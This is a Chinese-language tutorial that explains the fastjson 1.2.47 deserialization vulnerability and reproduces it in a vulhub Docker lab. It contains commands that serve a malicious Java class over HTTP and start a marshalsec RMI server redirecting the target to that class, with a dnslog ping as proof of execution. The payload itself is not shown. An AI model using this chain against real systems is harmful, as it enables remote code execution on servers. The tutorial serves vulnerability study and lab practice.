一、fastjson介绍
在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上可以说是标准的数据交换格式。fastjson 是一个java语言编写的高性能且功能完善的JSON库,它采用一种“假定有序快速匹配”的算法,把JSON Parse 的性能提升到了极致。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。
FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。
二、1.2.47漏洞复现
相比1.2.24,1.2.47过滤了许多恶意类的上传姿势以及关闭了autoType,例如双写等绕过,但是并不阻挡hacker的攻击脚步,发现在fastjson中有一个全局缓存,当有类进行加载时,如果autoType没开启,会尝试从缓存中获取类,如果缓存中有,则直接返回。所以可以先上传一个带有恶意类的json数据,让它执行并存入缓存这样就可以实现绕过。
复现过程:
1.搭建环境:
vulhub搭建,进入1.2.47漏洞目录,service docker start (启动docker),docker-compose up -d(启动环境) ,查看端口,docker-compose ps(前提有 docker 以及 docker-compose)。浏览器输入ip:端口。
2.编译java文件并上传一个恶意类
注意:在whoami后面的url地址,是我在dnslog网站接的一个临时域名,为了后续在观察是否恶意命令执行成功。此Java在命令代码部分实现的就是ping这个url地址。
编译后生成一个class文件,上传到kali的usr目录(其它目录也行)
3.开启python监听以及rmi服务(需要下载marshalsec)
开启python监听(在你上传到kali到class的目录),python -m http.server 9998(python3版本)
开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://(启动python服务的ip):(启动python服务的端口)/#dnslog” 9999
4.抓包执行漏洞
a部分就是利用了com.sun.rowset.*****这个恶意类,导致fastjson的全局缓冲的类里面存在这个恶意类;b部分就是利用这个恶意类,在rmi这行中,转向需要执行的rmi服务去执行恶意命令。
5.复现成功